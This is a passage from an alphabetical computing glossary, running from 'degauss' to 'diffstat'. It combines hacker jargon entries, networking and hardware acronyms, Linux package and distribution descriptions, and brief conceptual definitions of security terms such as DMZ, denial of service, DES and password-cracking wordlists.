The term degauss means to erase magnetic media. They work by creating magnetic fields thousands of times stronger than that used to store data on magnetic devices, thereby erasing them. Degaussing is a destructive process. It generates a lot of heat which can physicaly damage the device, and it will remove the "low level" formatting that is shipped with the drive. Note that some SCSI hard-drives can be low-level formatted in the field. Best practice: Degauss all floppy disks and hard-drives before throwing them away. A lot of data from corporations have been recovered from defective disks that were thrown away. An equivalent for CD-ROMs is to put them in the microwave. See also: wipe. 
dejagnu
framework for running test suites on software tools. DejaGnu is a framework for testing other programs. Its purpose is to provide a single front end for all tests. DejaGnu provides a layer of abstraction which allows you to write tests that are portable to any host or target where a program must be tested. All tests have the same output format. DejaGnu is written in `expect', which in turn uses "Tcl"--Tool command language. 
Delete
see rm. 
delgroup
remove a user or group from the system 
DeLi Linux
DeLi Linux stands for "Desktop Light" Linux, a desktop distribution for older computers, from 486 to Pentium MMX 166 or so. Slackware 7.1-based DeLi includes plenty of desktop software such as email clients, a graphical Web browser, an office package with word processor and spreadsheet, etc. A full install, including XFree86 and development tools, needs no more than 300 MB of harddisk space. DeLi uses the 2.2.19 kernel for a smaller footprint and rocksolid stability on older hardware. Initial version 0.1 was released November 3, 2002. Version 0.2 was released March 19, 2003. 
deliminator
/de-lim'-in-ay-t*r/ n. [portmanteau, delimiter + eliminate] A string or pattern used to delimit text into fields, but which is itself eliminated from the resulting list of fields. This jargon seems to have originated among Perl hackers in connection with the Perl split() function; however, it has been sighted in live use among Java and even Visual Basic programmers. 
deliver
Local mail delivery agent Deliver delivers mail locally. Any user can write a shell (or perl or ...) script that processes each incoming message, possibly filing or deleting it based on content. The system administrator may also install scripts that process _all_ incoming messages. 
DELNI
Digital Ethernet Local Network Interconnect (ethernet) 
DELQA
Digital Ethernet Lowpower Q-bus network Adapter (ethernet) 
DELTA
Developing European Learning through Technology Advance 
delta
n. 1. [techspeak] A quantitative change, especially a small or incremental one (this use is general in physics and engineering). "I just doubled the speed of my program!" "What was the delta on program size?" "About 30 percent." (He doubled the speed of his program, but increased its size by only 30 percent.) 2. [Unix] A diff, especially a diff stored under the set of version-control tools called SCCS (Source Code Control System) or RCS (Revision Control System). 3. n. A small quantity, but not as small as epsilon. The jargon usage of delta and epsilon stems from the traditional use of these letters in mathematics for very small numerical quantities, particularly in `epsilon-delta' proofs in limit theory (as in the differential calculus). The term delta is often used, once epsilon has been mentioned, to mean a quantity that is slightly bigger than epsilon but still very small. "The cost isn't epsilon, but it's delta" means that the cost isn't totally negligible, but it is nevertheless very small. Common constructions include `within delta of --', `within epsilon of --': that is, `close to' and `even closer to'. 
delta
The set of changes that RCS records for an RCS file. 
DELUA
Digital Ethernet Lowpower Unibus network Adapter (ethernet) 
DELUG
DEutsche Linux User Group (org., user group, Linux) 
deluser
remove a user or group from the system 
DEMARC
Distributed Enterprise Management ARChitecture (Banyan, VINES), "DeMarc" 
demilitarized zone (DMZ)
Systems or sections of a private local network that are made publicly available and visible from outside networks such as the Internet. Usually, a publicly-accessible resource (such as an HTTP server) is placed on a DMZ to protect the internal network while maintaining proper functionality for outside users. 
demo
/de'moh/ [short for `demonstration'] 1. v. To demonstrate a product or prototype. A far more effective way of inducing bugs to manifest than any number of test runs, especially when important people are watching. 2. n. The act of demoing. "I've gotta give a demo of the drool-proof interface; how does it work again?" 3. n. Esp. as `demo version', can refer either to an early, barely-functional version of a program which can be used for demonstration purposes as long as the operator uses exactly the right commands and skirts its numerous bugs, deficiencies, and unimplemented portions, or to a special version of a program (frequently with some features crippled) which is distributed at little or no cost to the user for enticement purposes. 4. [demoscene] A sequence of demoeffects (usually) combined with self-composed music and hand-drawn ("pixelated") graphics. These days (1997) usually built to attend a compo. Often called `eurodemos' outside Europe, as most of the demoscene activity seems to have gathered in northern Europe and especially Scandinavia. See also intro, dentro. 
demo mode
n. 1. [Sun] The state of being heads down in order to finish code in time for a demo, usually due yesterday. 2. A mode in which video games sit by themselves running through a portion of the game, also known as `attract mode'. Some serious apps have a demo mode they use as a screen saver, or may go through a demo mode on startup (for example, the Microsoft Windows opening screen -- which lets you impress your neighbors without actually having to put up with Microsloth Windows). 
DemoLinux
DemoLinux is a complete distribution on a bootable CDROM. Take Linux with you and run Linux anywhere. The website shows multi-lingual support for English, French, Italian, Dutch, Spanish and Portuguese. DemoLinux 3.01p15 was released July 27, 2002. A CD-based distribution. 
demon
n. 1. [MIT] A portion of a program that is not invoked explicitly, but that lies dormant waiting for some condition(s) to occur. See daemon. The distinction is that demons are usually processes within a program, while daemons are usually programs running on an operating system. 2. [outside MIT] Often used equivalently to daemon -- especially in the Unix world, where the latter spelling and pronunciation is considered mildly archaic. Demons in sense 1 are particularly common in AI programs. For example, a knowledge-manipulation program might implement inference rules as demons. Whenever a new piece of knowledge was added, various demons would activate (which demons depends on the particular piece of data) and would create additional pieces of knowledge by applying their respective inference rules to the original piece. These new pieces could in turn activate more demons as the inferences filtered down through chains of logic. Meanwhile, the main program could continue with whatever its primary task was. 
DEMPR
Digital Ethernet Multi-Port Repeater (ethernet) 
DeMuDi Agnula
The DeMuDi Agnula Project aims to create a Debian-based distribution for multi-media work. This is not a mini-distribution, but it is special purpose. The first official release, DeMuDi Agnula 0.9, is due out in November 2002 [as of July 10, 2002]. A 'special purpose/mini' distribution. 
DEN
Directory Enabled Networking (MS) 
DEN
Document Enabled Networking (Novell, Xerox) 
denemo
A gtk+ frontend to GNU Lilypond GNU Denemo is a GUI musical score editor written in C/gtk+. It is intended primarily as a frontend to GNU Lilypond, but is adaptable to other computer-music-related purposes as well. 
denial of service (DoS)
A type of network-based attack in which a malicious user sends massive amounts of unsolicited (and sometimes useless) data to a recipient system or network, causing congestion and availability issues for legitimate users. 
DENIC
DEutsches Network Information Center, (org., Internet), "DE-NIC" 
dep.pl
The dependency analyst. This little script analyses the dependencies of a set of files, and produces a full detailed report or such an output, that can be passed to another program. Comes handy when setting up a chrooted environment... 
DEPCA
Digital Ethernet Personal Computer-bus Adapter (ethernet) 
dependencies
The proper functionality of one package may rely on the existence of another package, meaning there is a dependency. RPM will not normally allow packages with unresolved dependencies to be installed without explicit intervention by the user. 
depmod
handle dependency descriptions for loadable kernel modules 
deprecated
adj. Said of a program or feature that is considered obsolescent and in the process of being phased out, usually in favor of a specified replacement. Deprecated features can, unfortunately, linger on for many years. This term appears with distressing frequency in standards documents when the committees writing the documents realize that large amounts of extant (and presumably happily working) code depend on the feature(s) that have passed out of favor. See also dusty deck. [Usage note: don't confuse this word with `depreciate', or the verb form `deprecate' with `depreciated`. They are different words; see any dictionary for discussion.] 
DEQNA
Digital Ethernet Q-bus Network Adapter (ethernet) 
DEREP
Digital Ethernet REPeater (ethernet) 
deroff
removes roff and preprocessor constructs deroff strips out roff constructs and macros. The preprocessor (eqn, tbl, pic, grap, and vgrind) sections are removed entirely. The resulting output is suitable for spelling with e.g. spell(1). 
DES
Data Encryption Standard (cryptography, NIST, IBM) 
DES
Destination End System 
DES (Data Encryption Standard)
A controversial IBM developed encryption technique that was adopted by the US government for non-classified information, and widely used by financial institutions to transfer large sums of money electronically. Critics charge that DES technology was deliberately weakened so the government would be able to break DES-encoded messages when it chose to do so. 
DES (Data Encryption Standard, FIPS 46-3)
In cryptography, DES (Data Encryption Standard) is the most popular algorithm for encrypting data. It is standardized by the United States government (ANSI X9.17) as well as the ISO. Key point: DES ushered in a new era of cryptography. Before DES, strong encryption was only available to large governments and militaries. Cryptography research was similarly limited. Anything that the average person might use could easily be cracked by a major government. DES created a well-defined, easily verifiable security architecture that was available to anyone. DES-capable products flooded the market. Beyond making encryption products available to anyone, DES essentially created the cryptographic community. Before DES researchers toiled away under government/big-business secrecy, After DES, cryptography became a normal computer-science subject. Whereas DES itself was developed by secretive government agencies (NSA) and mammoth corporations (IBM), DES's replacement will likely be created by relatively independent researchers and the cryptographic community as a whole. Contrast: As of the year 2000, DES has been supplanted by the newer AES. Because DES has only 56-bit keys, it can easily be cracked within hours. Contrast: An increasingly popular form of DES is Triple DES which increases the key strength to 112 bits. History: In September, 1998, a German court ruled DES "out of date and unsafe" for banking applications. 
DESCBC
Data Encryption Standard/Cipher Block Chaining (DES), "DES/CBC" 
DESE
[PPP] Data Encryption Standard Encryption protocol (PPP, RFC 1969) 
DESIRE
DEsign by Simulation and REndering om parallel architectures [project] (ESPRIT) 
deskguide_applet
Desk Guide Applet for the GNOME panel. 
desklaunch
A small utility for creating desktop icons. DeskLaunch is a small utility for creating desktop icons using pixmaps. A simple click will launch the desired application. 
deskmenu
A root menu for X11 window managers DeskMenu is a root menu program which is activated by clicking the root window. It is configured from a .deskmenurc file in your home directory. DeskMenu is useful for window managers which do not provide a menu such as Oroborus. 
Desktop
The operating system user interface, which is designed to represent an office desk with objects on it. Rather than physical telephones, lamps, in/out baskets, etc., the operating system desktop uses program and data icons, windows, taskbars, and the like. There are many different desktop environments available for Linux, including KDE, GNOME, and X11, that can be installed by a user. (Also, see GUI, Window manager and X Window System.) 
desktop
Visual component of a graphical user interface upon which icons, programs, and other visual components appear. 
desktop manager
See graphical login. 
Desktop Video
The merging of video, telephone, and computer technologies for the purpose of delivering multimedia information and telecommunication capabilities at the individual computer workstation. From Glossary of Distance Education and Internet Terminology
desktop-file-utils
.desktop files are used to describe an application for inclusion in GNOME or KDE menus. This package contains desktop-file-validate which checks whether a .desktop file complies with the specification athttp://www.freedesktop.org/standards/, and desktop-file-install which installs a desktop file to the standard directory, optionally fixing it up in the process. 
Desktop/LX
Lycoris, formerly Redmond Linux, has a distribution targeted toward Windows users that are ready for a change. Desktop/LX Update 2 was released July 29, 2002. 
DESP
Data Element Standardization Program 
DESPR
Digital Ethernet Single Port Repeater (ethernet) 
DESRT
DEStek [group] Real Time (OS, Destek Group), "DES RT" 
DESTA
Digital Ethernet thin-wire STation Adapter (ethernet) 
detachtty
Attach/detach from interactive processes across the network detachtty lets you run interactive programs non-interactively, and connect to them over the network when you do need to interact with them. It's designed for long-running Lisp processes. Unlike screen, it works in emacs comint modes, and unlike qcmu, it deals correctly with passing on a SIGINT sent to it. Needs ssh for operation over the net. 
DETEBERKOM
DEutsche TElekom BERliner KOMmunikationssystem, "DeTeBerkom" 
Dettu[Xx]
"probably the worlds nastiest Linux-distribution" You get just enough tools to download everything you need over the internet and build the packages on your computer. Could be very educational. 
DEUNA
Digital Ethernet Unibus Network Adapter (ethernet) 
dev
The Red Hat Linux operating system uses file system entries to representdevices (CD-ROMs, floppy drives, etc.) attached to the machine. All of these entries are in the /dev tree (although they do not have to be). This package contains the most commonly used /dev entries. The dev package is a basic part of your Red Hat Linux system and it needs to be installed. 
dev86
The dev86 package provides an assembler and linker for real mode 80x86instructions. You need to have this package installed in order to build programs that run in real mode from their sources, including LILOand the kernel's bootstrapping code. You should install dev86 if you intend to build programs that run in realmode from their source code. 
DEVFS
DEVice File System (Linux, DRI), "DevFS" 
devfsd
Daemon for the device filesystem This daemon sets up the /dev filesystem for use. It creates required symbolic links in /dev and also creates (if so configured, as is the default) symbolic links to the "old" names for devices. 
devfsd
The devfsd programme is a daemon, run by the system bootscripts which can provide for intelligent management ofdevice entries in the Device Filesystem (devfs). As part of its setup phase devfsd creates certain symbolic links which are compiled into the code. These links are required by /usr/src/linux/Documentation/devices.txt. This behaviour may change in future revisions .devfsd will read the special control file .devfsd in amounted devfs, listening for the creation and removal of device entries (this is termed a change operation). For each change operation, devfsd can take many actions. The daemon will normally run itself in the background and send messages to syslog. The opening of the syslog service is automatically delayed until /dev/log is created. At startup, before switching to daemon mode, devfsd willscan the mounted device tree and will generate synthetic REGISTER events for each leaf node. 
Device
Any hardware component or peripheral, such as a printer, modem, montor, or mouse, that can receive and/or receive data. Some devices require special software, called device drivers. 
device
In Linux devices are accessed as files which are located in the /dev directory. The entries contains the device numbers used by the kernel. 
Device Driver
A program that serves as an intermediary between the operating system and a device (ports, drives, monitors, printers, etc.) defining to the operating system what capabilities the device has and translating the operating system commands into instructions the device understands. 
device driver
code that controls and communicate with a device such as a graphics card, sound card or other peripherals. 
device driver
See device module. 
Device independence
The capability of a program, operating system or programming language to work on a varity of computers or peripherals, despite their electronic variation. UNIX, an operating system for multiuser computer systems, is designed to run on a wide variety of coputers, from personal computers to mainframes. PostScript, a page description language for high-quality printing, is used by many printer manufacturers. 
device module
Software that communicates directly with a computer hardware component or peripheral, allowing it to be used by the operating system; also referred to as a driver. 
Device name
In DOS, a three-letter abbreviation that registers to a peripheral device. 
Device node
An object in the hardware tree that represents a piece of hardware. 
Devil-Linux
Devil-Linux is a special Linux distribution used for Firewalls and Routers. The goal of Devil-Linux is to have a small, customizable and secure Linux OS. It comes on a CDROM and saves configuration data on a floppy disk, and it has several optional packages. Devil-Linux 0.5RC1 (Beta) was released May 30, 2002. Devil-Linux 0.5 was released September 2, 2002. A CD-based distribution. 
devscripts
Scripts to make the life of a Debian Package maintainer easier Contains the following scripts, dependencies/recommendations shown in brackets afterwards: - bts: A command-line tool for manipulating the BTS [www-browser, mailx] - dch, debchange: Automagically add entries to debian/changelog files - debclean: Purge a Debian source tree [fakeroot] - debuild: Wrapper to build a package without having to su or worry about how to invoke dpkg to build using fakeroot. Also deals with common environment problems, umask etc. [fakeroot, lintian, gnupg] - debdiff: Compare two versions of a Debian package to check for added and removed files [wdiff] - debpkg: Dpkg wrapper to be able to manage/test packages without su [perl-suid] - debi, debc: Convenience scripts to install a package and display its contents - debit: Convenience script to install a package and run debian-test on it [debian-test] - debrelease: Wrapper around dupload or dput [dupload | dput, ssh] - dscverify: Verify the integrity of a Debian package from the .changes or .dsc files [gnupg, debian-keyring, libdigest-md5-perl] - debsign, debrsign: sign a .changes/.dsc pair without needing any of the rest of the package to be present; can sign the pair remotely or fetch the pair from a remote machine for signing [gnupg, debian-keyring, ssh] - dpkg-depcheck, dpkg-genbuilddeps: Determine the packages used during the build of a Debian package; useful for determining the Build-Depends control field needed [build-essential, strace] - grep-excuses: grep the update_excuses.html file for your packages [libwww-perl] - mergechanges: merge .changes files from a package built on different architectures - plotchangelog: view a nice plot of the data in a changelog file [libtimedate-perl, gnuplot] - uupdate: Integrate upstream changes into a source package [patch] - uscan: Scan upstream sites for new releases of packages [libwww-perl] Also included are a set of example mail filters for filtering mail from Debian mailing lists using exim, procmail, etc. 
devtodo
hierarchical, prioritized todo list manager Manipulate and display a hierarchical (ie "subtasks") and prioritized list of things with a coloured CLI. 
dexconf
generate XFree86 X server configuration file from debconf database values 
DF
Direction Flag (assembler) 
DF
Disk Free (Unix) 
df
reports the amount of disk space used by the specified files, and by each directory in the hierarchies rooted at the specified files. 
DFD
Data Flow Diagram / DatenFlussDiagramm (CASE, SA) 
DFD
Deutsches FernerkundungsDatenzentrum (org.) 
DFDSM
Data Facility Distributed Storage Management (IBM) 
DFG
Deutsche ForschungsGemeinschaft (org.) 
DFI
Digital Facility Interface 
DFKI
Deutsches Forschungszentrum fuer Kuenstliche Intelligenz (org., KI) 
dfm
The Desktop-File-Manager for X11 DFM is a desktop-manager for linux and other UNIX-OS. Files are shown as icons and every folder has it's own window. The desktop-background is a special folder in the home-directory. The idea is to write a filemanager like the OS/2 WPS. Therefore, this filemanager is optimally used together with the window manager icewm and warp3 theme. It also works with well ratpoison or wmaker anyway. 
DFN
Deutsches ForschungsNetz [e.V.] (org., ISP) 
DFNCERT
Deutsches ForschungsNetz Computer Emergency Response Team (DFN, Internet), "DFN CERT" 
dfontmgr
GUI frontend for defoma, DEbian FOnt MAnager. dfontmgr is a GUI frontend for defoma. You can see the fonts registered to defoma, their hints, their status (which applications they have succeeded or failed to register), the applications using defoma framework, information about the applications and the contents of their id-caches. You can also register a font by drag-and-drop a font file, which will generate as many hints as possible by asking you some questions, unregister a registered font, change hints of and re-register a registered font. If a defoma-aware application uses an id-cache and if there's an identifier conflict (which means some fonts provides the same identifier) in the id-cache, you can indicate which font should provide the identifier. GUI versions of some utilities in defoma and psfontmgr are also installed. 
DFP
Data Facility Product 
DFP
Digital Flat Panel [group / port] (LCD, org., Compaq, Acer, Fujitsu, ATI, Matrox, Samsung, ...) 
DFP
Distributed Functional Plane (IN) 
DFPP
Digital Flat Panel Port (LCD, DFP) 
DFS
Direct File System (Novell, Oracle) 
DFS
Distributed File System (DCE) 
DFSA
Direct File System Access 
DFSG
Debian Free Software Guildlines (Linux, Dabian) 
DFT
Discrete Fourier Transformation 
DFT
Distributed Function Terminal (IBM) 
DFT
Drive Fitness Test (IBM, IDE, HDD) 
DFU
Data File Utility (IBM, ADT) 
DFV
DatenFernVerarbeitung 
DGA
Direct Graphics Access (XAA, X-Windows) 
dga
test program for the XFree86-DGA extension 
DGCC
DISA Global Control Center (DISA) 
DGD
Deutsche Gesellschaft fuer Dokumentation [e.v.] (org.) 
dgipip
AMPRNet dynamic IPIP encapsulation routing daemon. This package provides both a client and server that implement the AMPRNet dynamic gateway routing protocol devised by Barry Siegfried, K2MF, and others. You will probably only make sensible use of this package if you are an amateur radio operator wishing to operate an encapsulating gateway. 
DGIS
Direct Graphics Interface Standard 
DGP
Dissimilar Gateway Protocol 
DGPS
Differential Global Positioning System (GPS) 
dgpsip
Correct GPS location with DGPS signal from internet Differential GPS is a technique to apply a correction factor from a known location to a GPS signal. This can substantially reduce the uncertainty in the GPS location. Normally the correction signal is acquired using a special radio receiver: dgpsip allow you to receive a DGPS signal via TCP/IP, and send it to the GPS connected to your serial port. 
DGS
Display GhostScript (GNU, GNUStep, PS) 
DGSA
Defense Goal Security Architecture (mil., USA) 
DGUX
Data General / UniX (Unix), "DG/UX" 
DHCF
Distributed Host Command Facility (IBM, CCS) 
dhclient
DHCP (Dynamic Host Configuration Protocol) is a protocol which allows individual devices on an IP network to get their own network configuration information (IP address, subnetmask, broadcast address,and more) from a DHCP server. The overall purpose of DHCP is to make iteasier to administer a large network. To use DHCP on your network, install a DHCP service (or relay agent),and on clients run a DHCP client daemon. The dhclient package provides the ISC DHCP client daemon. 
dhclient
Dynamic Host Configuration Protocol Client 
dhcp
DHCP (Dynamic Host Configuration Protocol) is a protocol which allows individual devices on an IP network to get their own network configuration information (IP address, subnetmask, broadcast address,etc.) from a DHCP server. The overall purpose of DHCP is to make iteasier to administer a large network. The dhcp package includes the DHCP server and a DHCP relay agent. You should install dhcp if you want to set up a DHCP server on yournetwork. You will also need to install the pump package, which provides the DHCP client daemon, on client machines. 
DHCP
DHCP is a protocol like BOOTP (actually dhcpd includes much of the functionality of BOOTPD). It assigns IP addresses to clients based on lease times. DHCP is used extensively by Microsoft and more recently also by Apple. It is probably essential in any multi-platform environment.
dhcp
DHCP server for automatic IP address assignment DHCP is a protocol like BOOTP (actually dhcpd includes much of the functionality of BOOTPD!). It assigns IP addresses to clients based on lease times. DHCP is used extensively by Microsoft and more recently also by Apple. It is probably essential in any multi-platform environment. Multiple Ethernet Interfaces are supported by this DHCP package. You need to run Linux 2.0.32 or later. 
DHCP
Dynamic Host Configuration Protocol (TCP/IP, IETF, RFC 2131) 
dhcpd
Dynamic Host Configuration Protocol Server 
dhcpdump
Parse DHCP packets from tcpdump This package provides a tool for visualization of DHCP packets as recorded and output by tcpdump to analyze DHCP server responses. 
dhcping
DHCP Daemon Ping Program This small tool provides an opportunity for a system administrator to perform a DHCP request to find out if a DHCP server is still running. 
dhelp
online help system Read all documentation with a WWW browser. dhelp builds a index of all installed HTML documentation. You don't need a WWW server to read the documentation. dhelp offers a very fast search in the HTML documents. You can access the online help system with the dhelp program or with your browser. The URL to point your browser at is http://localhost/doc/HTML/index.html if you have a WWW server installed or file://localhost/usr/share/doc/HTML/index.html if not. 
dhid
Dynamic Host Information System (DHIS) client With DHIS your machine gets a fully qualified domain name under a domain. Your host, even if dynamically IP assigned, may be reached while you are online through a single name recognised on the whole internet. People may, from the outside, connect to your machine's FTP, WWW, IRC, ... server as it is also possible for you to receive emails under that address. Many other purposes may be achieved with DHIS. 
DHIS
Distributed Heterogeneous Information Systems 
DHTML
Dynamic HyperText Markup Language (HTML) 
dhttpd
Minimal secure webserver. No cgi-bin support! As it doesn't run external programs, this webserver cannot be easily hacked. Does not need a permanent IP Address. Memory efficient. Low profile. Quick. Just transfers files. Can be run from a user account on high ports. No configuration necessary. It just works. 
dh_builddeb
build debian packages 
dh_clean
clean up package build directories 
dh_compress
compress files and fix symlinks in package build directories 
dh_fixperms
fix permissions of files in package build directories 
dh_gencontrol
generate and install control file 
dh_install
install files into package build directories 
dh_installchangelogs
install changelogs into package build directories 
dh_installcron
install cron scripts into etc/cron.* 
dh_installdeb
install files into the DEBIAN directory 
dh_installdebconf
install files used by debconf in package build directories 
dh_installdefoma
install a defoma related scripts 
dh_installdirs
create subdirectories in package build directories 
dh_installdocs
install documentation into package build directories 
dh_installemacsen
register an emacs add on package 
dh_installexamples
install example files into package build directories 
dh_installinfo
install and register info files 
dh_installinit
install init scripts into package build directories 
dh_installkpatches
install kernel patch into package build directories 
dh_installlogrotate
install logrotate config files 
dh_installman
install man pages into package build directories 
dh_installmanpages
old-style man page installer 
dh_installmenu
install debian menu files into package build directories 
dh_installmime
install mime files into package build directories 
dh_installmodules
register modules with modutils 
dh_installpam
install pam support files 
dh_installwm
register a window manager 
dh_installxaw
install xaw wrappers config files into package build directories 
dh_installxfonts
register X fonts 
dh_link
create symlinks in package build directories 
dh_listpackages
list binary packages debhelper will act on 
dh_makeshlibs
automatically create shlibs file 
dh_md5sums
generate DEBIAN/md5sums file 
dh_movefiles
move files out of debian/tmp into subpackages 
dh_perl
calculates perl scripts & modules dependencies 
dh_shlibdeps
calculate shared library dependancies 
dh_strip
strip executables, shared libraries, and some static libraries 
dh_suidregister
obsolete suid registration program 
dh_testdir
test directory before building debian package 
dh_testroot
ensure that a package is built as root 
dh_testversion
ensure that the correct version of debhelper is installed 
dh_undocumented
make symlinks to undocumented.7.gz man page 
DI
Destination Index [register] (CPU, Intel, assembler) 
DIA
Deutsche Informatik Akademie (org.) 
dia
Diagram editor (common files) Dia is an editor for diagrams, graphs, charts etc. There is support for UML static structure diagrams (class diagrams), Entity-Relationship diagrams, network diagrams and much more. Diagrams can be exported to postscript. 
dia
Diagram editor Dia is an editor for diagrams, graphs, charts etc. There is support for UML static structure diagrams (class diagrams), Entity-Relationship diagrams, network diagrams and much more. Diagrams can be exported to postscript. 
DIA
Document Interchange Architecture (IBM, CCS) 
dia2code
a dia-UML to C/C++/Java code generator dia2code is a code generator which uses UML diagrams produced by dia, and turns them into C, C++ or Java files. 
Dial-up
It is using telephone lines or ISDN networks to connect your computer to the Internet. From Glossary of Distance Education and Internet Terminology
Dial-Up Network
Connection to a network
diald
dial on demand daemon for PPP and SLIP. Many sites use SLIP or PPP links to connect to other sites over phone lines. Normally these links must be explicitly turned on or off. diald can be used to bring a SLIP or PPP link up when there are Internet packets to be sent to another site, and to close the link down when it is idle. diald operates by starting a virtual link on a pseudo tty and setting up a route to the resulting interface. This interface is called the proxy. diald monitors the proxy to determine when to bring up a real communications link. When a real link is up diald routes packets from the proxy to the real link and monitors the real link to decide if it needs to be shut down. As well, if the link goes down unexpectedly diald will attempt to reestablish the link. The rules for controlling these operations are extensively configurable in run time startup files. Diald requires that you use either the ethertap interface (available in recent Linux kernels) or SLIP to provide the proxy interface. Thus, one or the other of these interfaces is required for diald to work. Diald needs a program like "chat" or "expect" to actually dial. Sorry, "dip" cannot be used. 
dialog
Dialog is a utility that allows you to show dialog boxes (containing questions or messages) in TTY (text mode) interfaces. Dialog iscalled from within a shell script. The following dialog boxes are implemented: yes/no, menu, input, message, text, info, checklist,radiolist, and gauge. Install dialog if you would like to create TTY dialog boxes. 
dialog
Displays user-friendly dialog boxes from shell scripts This application provides a method of displaying several different types of dialog boxes from shell scripts. This allows a developer of a script to interact with the user in a much friendlier manner. The following types of boxes are at your disposal: yes/no Typical query style box with "Yes" and "No" answer buttons menu A scrolling list of menu choices with single entry selection input Query style box with text entry field message Similar to the yes/no box, but with only an "Ok" button text A scrollable text box that works like a simple file viewer info A message display that allows asynchronous script execution checklist Similar to the menu box, but allowing multiple selections radiolist Checklist style box allowing single selections gauge Typical "progress report" style box tail Allows viewing the end of files (tail) that auto updates background tail Similar to tail but runs in the background. 
dialog box
A graphical box displayed on a desktop that lets the user communicate with the computer. A dialog box can be used to enter information, set options, or run commands. 
DIAMOND
Development and Integration of Accurate Mathematical Operations in Numerical Data-processing (ESPRIT) 
DIANE
DIrect Access Network for Europe 
diatheke
CGI script for making bible website A command line utility for sword, and a cgi perl script that uses the utility to produce a bible browsing/searching website. 
DIB
Defense Information Base (mil., USA) 
DIB
Device Independent Bitmap 
DIB
Directory Information Base (X.500, DS) 
DIB
DOS Info Block (BIOS, DOS) 
DIB
Dual Independent Bus 
DIBL
Drain Induced Barrier Lowering (IC, MOSFET) 
DIC
Digital Interface Controller 
DICE
Delivering Information in a Cellular Environment (SNI, Internet) 
DICF
Dictionary InterChange Format (DICT) 
dict
Dictionary Client Dict is the client that queries the dictd server. Since it is TCP based, it can access servers on the local host, on a local network, or on the Internet. The DICT Development Group maintains several public servers which can be accessed from any machine connected to the Internet. The default configuration is to query one of these servers first, but this may be changed in the configuration file /etc/dict.conf. Queries may be customized by numerous command line options, including specifying the database(s) to be queried and the search strategy to be used. 
dictd
Dictionary Server Dictd is a TCP based server that allows a client to access dictionary definitions from a set of natural language dictionary databases. Ten dictionary databases have been packaged for debian. They are: dict-gcide - An comprehensive dictionary of the English language, based on the 1913 Webster's Unabridged Dictionary dict-wn - WordNet 1.7, A Lexical Database for English dict-jargon - Hacker's Jargon File dict-foldoc - The Free On-line Dictionary of Computing dict-vera - List of acronyms used in the field of computing dict-elements - Chemical and Physical Properties of the Elements dict-devil - "The Devil's Dictionary" by Ambrose Bierce dict-easton - Easton's 1897 Bible Dictionary dict-hitchcock - Hitchcock's Bible Names Dictionary dict-gazetteer - Database of Geographic Data from the U.S. Census These packages are discussed in more detail in the file /usr/doc/dictd/README.Debian.gz Either dict-gcide or dict-wn is essential for a useful dictionary server. It is strongly recommended that both be installed. It is desirable that either dict-jargon or dict-foldoc, or both of them, be installed. The client program, dict, is packaged in dict*.deb If you are running a server, you will want the client for all machines in your network, and for testing server operations. 
dictfmt
Utility to format a file for use by the dictd server. dictfmt converts an input file to a dictionary database that conforms to the DICT protocol, and creates a corresponding index file. 
diction
Utilities to help with style and diction (English and German) This is a free implementation of two Unix commands, style and diction. They may help you improve your writing. English and German rules are included. 
dictionary (wordlist)
In hacking circles, a dictionary is simply a list of words that plug into cracking programs in order to break passwords. Such dictionaries not only contain real words, but words that people choose for passwords (example: NCC1701, which is the serial number for the starship Enterprise in Star Trek). Key point: It takes only a couple minutes to run through hundreds of thousands of words in a dictionary in order to crack a password. Therefore, never choose a word that may be in a dictionary. Key point: The dictionary files that hackers use are not necessarily the same as English dictionaries. In theory, users will choose the same passwords they have used before, and unrelated users will choose the same passwords. Therefore, lists of passwords users chose in the past forms a key component of hacker dictionaries. Key point: Hackers also run non-English dictionaries, so choosing foreign words isn't a good defense. 
Dictionary sort
A sort order that ignores the case of characters as data is rearranged. See sort. 
DID
Digital Image Design 
DIESEL
Dumb Interpretatively Evaluated String Expression Language (AutoCAD) 
DietLinux
DietLinux is a dietlibc-based Linux distribution. Glibc is fully avoided. Some of the most important server daemons (DHCP, DNS, etc.) are working. The initial version, 0.1, was released May 16, 2003. Version 0.1.1 was released May 22, 2003. A 'special purpose/mini' distribution. 
DIF
Document Interchange Format 
diff
/dif/ n. 1. A change listing, especially giving differences between (and additions to) source code or documents (the term is often used in the plural `diffs'). "Send me your diffs for the Jargon File!" Compare vdiff. 2. Specifically, such a listing produced by the diff(1) command, esp. when used as specification input to the patch(1) utility (which can actually perform the modifications; see patch). This is a common method of distributing patches and source updates in the Unix/C world. 3. v. To compare (whether or not by use of automated tools on machine-readable files); see also vdiff, mod. 
diff
File comparison utilities The diff package provides the diff, diff3, sdiff, and cmp programs. `diff' shows differences between two files, or each corresponding file in two directories. `cmp' shows the offsets and line numbers where two files differ. `cmp' can also show all the characters that differ between the two files, side by side. `diff3' shows differences among three files. `sdiff' merges two files interactively. The set of differences produced by `diff' can be used to distribute updates to text files (such as program source code) to other people. This method is especially useful when the differences are small compared to the complete files. Given `diff' output, the `patch' program can update, or "patch", a copy of the file. 
Diffie-Hellman (DH)
The original public-key algorithm. Modern cryptography starts in 1976 when Diffie and Hellman published their groundbreaking paper "New Directions in Cryptography". Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DH is based upon the discrete logarithm problem. Whereas RSA can be used to encrypt messages, DH can only be used for key-exchange. However, RSA is essentially only used for key-exchange in the first place. The disadvantages of DH vs. RSA are: message expansion DH encrypted messages are larger (though this isn't really an issue for key-exchange). key size Current standards (e.g. DSS) specify smaller key sizes than those supported by RSA-based standards. CPU DH based standards take processing time than RSA based equivalents (and a lot more than than elliptical curve techniques). Advantages of DH over RSA are: patents This is no longer an important issue now that RSA patents have expired, but the reason DH became popular was because it was essentially patent-free. key generation It takes a long time to generate RSA keys, so DH is a better option if keys must be generated often. key size For keys of the same size, DH is more secure. In other words, it takes longer keys for RSA to be as secure as DH. security DH is conjectured to be less likely to be broken by new developements in mathematical theory. Contrast: The most common use of Diffie-Hellman is ElGamal, a public-key encryption variant of Diffie-Hellman. The U.S. government standard DSS is based upon ElGamal. See also: RSA, public-key crypto. 
diffmon
Tool for reporting changes in system configuration. This tool is run by a nightly cron job, and takes a `diff' of specified system configuration files and emails them to a specified email address. Options to diff can be specified. This is useful in friendly environments where there are multiple sysadmins working on configuration files/setups and everyone's changes are reported. CVS is a better answer, but most of us don't want to have the hassle of putting system files in a repository. 
diffstat
produces graph of changes introduced by a diff file This program is a simple that reads the output of the 'diff' program, and produces a histogram of the total number of lines that were changed. It is useful for scanning a patch file to see which files were changed. 
diffstat
